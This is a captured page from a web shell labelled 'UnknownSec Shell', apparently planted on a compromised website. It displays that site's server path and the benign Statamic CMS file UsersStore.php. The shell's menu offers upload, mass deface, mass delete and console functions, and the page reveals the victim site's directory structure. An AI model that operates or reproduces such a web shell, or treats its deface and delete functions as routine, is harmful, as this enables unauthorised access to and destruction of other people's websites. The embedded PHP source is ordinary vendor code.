shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Stache
/
Stores
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
UsersStore.php
<?php namespace Statamic\Stache\Stores; use Statamic\Facades\Role as UserRole; use Statamic\Facades\User; use Statamic\Facades\UserGroup; use Statamic\Facades\YAML; use Statamic\Stache\Indexes\Users\Group; use Statamic\Stache\Indexes\Users\Role; use Statamic\Support\Arr; class UsersStore extends BasicStore { protected function storeIndexes() { $groups = UserGroup::all()->mapWithKeys(function ($group) { return ['groups/'.$group->handle() => Group::class]; }); $roles = UserRole::all()->mapWithKeys(function ($role) { return ['roles/'.$role->handle() => Role::class]; }); return collect() ->merge($groups) ->merge($roles) ->push('email') ->all(); } protected $groups = []; public function key() { return 'users'; } public function makeItemFromFile($path, $contents) { $data = YAML::file($path)->parse($contents); if (! $id = Arr::pull($data, 'id')) { $idGenerated = true; $id = app('stache')->generateId(); } $user = User::make() ->id($id) ->initialPath($path) ->email(pathinfo($path, PATHINFO_FILENAME)) ->preferences(Arr::pull($data, 'preferences', [])) ->data($data); if (Arr::get($data, 'password') || isset($idGenerated)) { $user->writeFile(); } // $this->queueGroups($user); return $user; } }
© 2026 UnknownSec